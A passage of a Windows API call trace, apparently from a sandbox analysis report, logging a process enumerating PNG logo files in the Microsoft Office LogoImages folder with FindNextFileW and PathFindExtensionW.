(pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-140.png") returned=".png" [0258.115] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.115] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-180.png") returned=".png" [0258.115] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.115] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-80.png") returned=".png" [0258.115] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.115] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-100.png") returned=".png" [0258.115] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-140.png") returned=".png" [0258.121] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-180.png") returned=".png" [0258.121] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-80.png") returned=".png" [0258.121] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-100.png") returned=".png" [0258.121] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-140.png") returned=".png" [0258.121] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-180.png") returned=".png" [0258.121] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-80.png") returned=".png" [0258.121] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-100.png") returned=".png" [0258.121] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-140.png") returned=".png" [0258.121] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-180.png") returned=".png" [0258.121] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-white_scale-80.png") returned=".png" [0258.121] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-100.png") returned=".png" [0258.121] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-140.png") returned=".png" [0258.121] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-180.png") returned=".png" [0258.121] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.scale-80.png") returned=".png" [0258.121] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.121] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-100.png") returned=".png" [0258.122] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.122] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-140.png") returned=".png" [0258.122] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.122] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-180.png") returned=".png" [0258.122] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.122] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-black_scale-80.png") returned=".png" [0258.122] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.122] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-100.png") returned=".png" [0258.122] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.122] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-140.png") returned=".png" [0258.122] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.122] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-180.png") returned=".png" [0258.122] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.122] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.contrast-white_scale-80.png") returned=".png" [0258.122] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.125] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-100.png") returned=".png" [0258.125] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.125] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-140.png") returned=".png" [0258.125] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.125] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-180.png") returned=".png" [0258.125] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.126] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogoSmall.scale-80.png") returned=".png" [0258.126] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.126] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-100.png") returned=".png" [0258.126] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.126] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-140.png") returned=".png" [0258.126] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.126] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-180.png") returned=".png" [0258.126] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.126] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-black_scale-80.png") returned=".png" [0258.126] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.126] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-100.png") returned=".png" [0258.126] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.126] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-140.png") returned=".png" [0258.126] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.126] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-180.png") returned=".png" [0258.126] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.126] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.contrast-white_scale-80.png") returned=".png" [0258.126] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.126] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-100.png") returned=".png" [0258.126] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.126] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-140.png") returned=".png" [0258.126] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.126] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-180.png") returned=".png" [0258.126] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.126] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-80.png") returned=".png" [0258.126] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.126] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-100.png") returned=".png" [0258.126] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.126] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-140.png") returned=".png" [0258.126] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.127] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-180.png") returned=".png" [0258.127] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.127] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-80.png") returned=".png" [0258.127] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.127] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-100.png") returned=".png" [0258.127] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.127] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-140.png") returned=".png" [0258.127] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.127] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-180.png") returned=".png" [0258.127] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.127] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-80.png") returned=".png" [0258.127] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.130] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-100.png") returned=".png" [0258.130] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.130] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-140.png") returned=".png" [0258.130] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.130] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-180.png") returned=".png" [0258.130] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.130] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-80.png") returned=".png" [0258.130] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.130] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-100.png") returned=".png" [0258.130] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.130] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-140.png") returned=".png" [0258.130] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.130] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-180.png") returned=".png" [0258.130] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.130] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-black_scale-80.png") returned=".png" [0258.130] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.130] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-100.png") returned=".png" [0258.130] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.130] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-140.png") returned=".png" [0258.130] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.130] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-180.png") returned=".png" [0258.130] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.130] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.contrast-white_scale-80.png") returned=".png" [0258.130] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.130] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-100.png") returned=".png" [0258.130] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.130] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-140.png") returned=".png" [0258.130] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.131] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-180.png") returned=".png" [0258.131] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.131] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-80.png") returned=".png" [0258.131] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.131] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-100.png") returned=".png" [0258.131] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.131] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-140.png") returned=".png" [0258.131] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.131] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-180.png") returned=".png" [0258.131] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.131] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-80.png") returned=".png" [0258.131] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.131] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-100.png") returned=".png" [0258.131] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.131] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-140.png") returned=".png" [0258.131] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.131] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-180.png") returned=".png" [0258.131] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.131] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-80.png") returned=".png" [0258.131] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.134] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-100.png") returned=".png" [0258.134] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.134] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-140.png") returned=".png" [0258.134] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.134] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-180.png") returned=".png" [0258.134] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.134] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-80.png") returned=".png" [0258.134] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.134] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-100.png") returned=".png" [0258.134] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.134] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-140.png") returned=".png" [0258.134] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.134] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-180.png") returned=".png" [0258.134] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.134] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-80.png") returned=".png" [0258.134] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.134] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-100.png") returned=".png" [0258.134] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.134] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-140.png") returned=".png" [0258.134] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.134] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-180.png") returned=".png" [0258.134] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.134] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-80.png") returned=".png" [0258.134] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.134] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-100.png") returned=".png" [0258.134] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.134] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-140.png") returned=".png" [0258.134] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.135] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-180.png") returned=".png" [0258.135] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.135] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-80.png") returned=".png" [0258.135] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.135] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-100.png") returned=".png" [0258.135] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.135] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-140.png") returned=".png" [0258.135] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.135] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-180.png") returned=".png" [0258.135] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.135] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-80.png") returned=".png" [0258.135] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.135] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-100.png") returned=".png" [0258.135] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.135] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-140.png") returned=".png" [0258.135] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.135] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-180.png") returned=".png" [0258.135] FindNextFileW (in: hFindFile=0x3876400, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0258.135] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-80.png") returned=".png" [0258.135] FindNextFileW (in: 